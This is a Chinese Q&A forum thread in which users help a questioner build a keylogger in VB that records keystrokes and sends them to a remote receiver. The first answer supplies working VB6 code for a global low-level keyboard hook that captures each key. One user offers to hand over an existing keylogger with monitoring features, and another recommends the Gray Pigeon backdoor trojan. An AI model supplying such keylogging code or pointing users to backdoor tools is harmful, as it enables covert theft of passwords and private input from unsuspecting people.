谁能教我用VB做这个
发布网友
发布时间:2022-04-23 06:09
我来回答
共5个回答
热心网友
时间:2023-10-18 11:14
使用键盘钩子
‘声明键盘钩子代码
Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer
Public Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hMod As Long, ByVal dwThreadId As Long) As Long
Public Declare Function UnhookWindowsHookEx Lib "user32" (ByVal hHook As Long) As Long
Public Declare Function CallNextHookEx Lib "user32" (ByVal hHook As Long, ByVal nCode As Long, ByVal wParam As Long, lParam As Any) As Long
Public Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (lpvDest As Any, ByVal lpvSource As Long, ByVal cbCopy As Long)
Private Type KEYMSGS
vKey As Long
sKey As Long
flag As Long
time As Long
End Type
Public Const WH_KEYBOARD_LL = 13
Public Const VK_LWIN = &H5B
Public Const VK_RWIN = &H5C
Public Const HC_ACTION = 0
Public Const HC_SYSMODALOFF = 5
Public Const HC_SYSMODALON = 4
Public Const WM_KEYDOWN = &H100
Public Const WM_KEYUP = &H101
Public Const WM_SYSKEYDOWN = &H104
Public Const WM_SYSKEYUP = &H105
Public P As KEYMSGS
Public lHook As Long
'钩子回调函数
Public Function LowLevelKeyboardProc(ByVal nCode As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Dim fEatKeystroke As Boolean
Dim a As String
fEatKeystroke = True
If (nCode = HC_ACTION) Then
If wParam = WM_KEYDOWN Or wParam = WM_SYSKEYDOWN Or wParam = WM_KEYUP Or wParam = WM_SYSKEYUP Then
CopyMemory P, ByVal lParam, Len(P)
a = Chr(P.vKey) '记录键盘输入
End If
End If
LowLevelKeyboardProc = CallNextHookEx(0, nCode, wParam, ByVal lParam)
End Function
在主界面调用
lHook = SetWindowsHookEx(WH_KEYBOARD_LL, AddressOf LowLevelKeyboardProc, App.hInstance, 0)
记住调用完成别忘了卸载钩子
UnhookWindowsHookEx lHook
剩下的发送键盘这个就简单了 不做介绍
但是希望您用在正途,如果有任何问题后果自负就行
热心网友
时间:2023-10-18 11:14
是网络发送吗?这个非常的复杂。光是记录下键盘按键就非常麻烦了,我以前好象弄过一个,里面除了键盘记录之外还带了其他功能,你要可以发给你。不过,必须别人主动打开客户端并且连接到你的电脑才行,直接连接也可以,但是要保证你的监控用ip不改变,而且至少别人会打开你的监控客户选。
热心网友
时间:2023-10-18 11:15
监视键盘输入可以,发送到你的接收端,有点难
热心网友
时间:2023-10-18 11:15
用 sendkey 搜一下就知道怎么用了
但像QQ之类的有自己的驱动,用sendkey是没用的。
参考资料:http://aglab.stu.e.cn
热心网友
时间:2023-10-18 11:16
你下灰鸽子后门程序去把。